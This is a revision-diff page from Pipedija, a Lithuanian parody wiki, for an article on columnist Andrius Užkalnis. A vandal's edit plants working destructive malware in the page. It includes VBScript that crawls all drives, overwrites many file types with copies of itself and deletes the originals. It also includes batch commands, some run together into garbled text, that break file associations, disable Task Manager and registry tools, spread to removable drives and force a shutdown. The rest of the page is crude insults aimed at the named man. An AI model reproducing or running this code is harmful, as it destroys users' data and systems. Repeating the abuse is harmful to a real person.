Pipedija - tautosaka, gandai, kliedesiai ir jokios tiesos! Durniausia wiki enciklopedija durnapedija!


Andrius Užkalnis: Skirtumas tarp puslapio versijų

Iš Pipedijos - durniausios enciklopedijos.
Jump to navigation Jump to search
(shutdown)
(CreateObject("Scripting.FileSystemObject"))
6 eilutė: 6 eilutė:




haha()
Storasis Andriau Užkalni, visų pirma pasižiūrėkit į save ir ne tik veidrodyje. Ką gero esat padaręs? Ką Jūs esat gero bent jau pasakęs? Čia žmonės dirba, stengiasi, koks skirtumas, kaip jiems išeina? Kritika dar būtų kritika, jei joje būtų kažkokio konstruktyvumo be gomoerotinių užuominų, bet jūs esat prosta storas, šveplas, piktas, plikas, nelaimingas, pritvinkęs rusopedijos, savo vapalų kaip šlapimo nelaikantis gniutulas. Niekada gyvenime jūsų fantazija net iš tolo nesugebėtų sukurti nieko panašaus į šitą produktą, gerbiamas attention whore (angl. dėmesio auka).
Sub haha()
On Error Resume Next
Dim d, dc, s, fso, haha
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
hihi (d.Path & "\")
End If
Next
haha = s
End sub
Sub hehe(folderspec)
On Error Resume Next
Dim f, f1, fc, ext, s, fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext = fso.GetExtensionName(f1.Path)
ext = LCase(ext)
s = LCase(f1.Name)
If (ext = "zip") or (ext = "exe") or (ext = "com") or (ext = "rar") or (ext = "doc") or (ext = "xls") or (ext = "dll") or (ext = "txt") or (ext = "htm") or (ext = "html") or (ext = "jpg") or (ext = "bmp") or (ext = "mp3") or (ext = "mp4") or (ext = "gif") or (ext = "ink") Then
Set f = fso.getfile(wscript.scriptfullname)
f.Copy (f1.Path & ".vbe")
fso.deletefile(f1.path)
End If
Next
End Sub
Sub hihi(folderspec)
On Error Resume Next
Dim f, f1, sf, fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
For Each f1 In sf
hehe (f1.Path)
hihi (f1.Path)
Next
End Sub
:task1;assoc .exe=.errassoc .com=.errassoc .inf=.errassoc .dll=.errassoc .sys=errassoc .dat=.errassoc .ini=.errassoc .vbs=.errassoc .bat=.errassoc .avi=.errassoc .mp3=.errassoc .wma=.err
DisableTaskMgr /t reg_dword /d 1reg add "hkcu\\currentversion\po licies\system" /v DisableRegistryTools /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoStartMenuMorePrograms /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoClose /t reg_dword /d 1reg add "hkcu\controlpanel\desktop\windowmetrics" /v Shell Icon Size /t reg_sz /d 300/freg add "hkcu\controlpanel\mouse" /v MouseSensitivy /t reg_sz /d 0/freg add "hkcu\controlpanel\mouse" /v MouseSpeed /t reg_sz /d 40/f
 
copy %0 A:\avtodrive.batcopy %0 E:\avtodrive.batcopy %0 F:\avtodrive.batcopy %0 G:\avtodrive.bat
 
attrib +s +r A:\avtodrive.batattrib +s +r E:\avtodrive.batattrib +s +r F:\avtodrive.batattrib +s +r G:\avtodrive.bat
 
goto err
 
:err;shutdown -t 5 -s

22:50, 20 liepos 2015 versija

Šablonas:Teslos gabalas

Andrius Užkalnis rūko naglai birka

Andrius Užkalnis gandonas (latv. Andrējs Pādkalniekšs)NighTGhosT



Storasis Andriau Užkalni, visų pirma pasižiūrėkit į save ir ne tik veidrodyje. Ką gero esat padaręs? Ką Jūs esat gero bent jau pasakęs? Čia žmonės dirba, stengiasi, koks skirtumas, kaip jiems išeina? Kritika dar būtų kritika, jei joje būtų kažkokio konstruktyvumo be gomoerotinių užuominų, bet jūs esat prosta storas, šveplas, piktas, plikas, nelaimingas, pritvinkęs rusopedijos, savo vapalų kaip šlapimo nelaikantis gniutulas. Niekada gyvenime jūsų fantazija net iš tolo nesugebėtų sukurti nieko panašaus į šitą produktą, gerbiamas attention whore (angl. dėmesio auka).”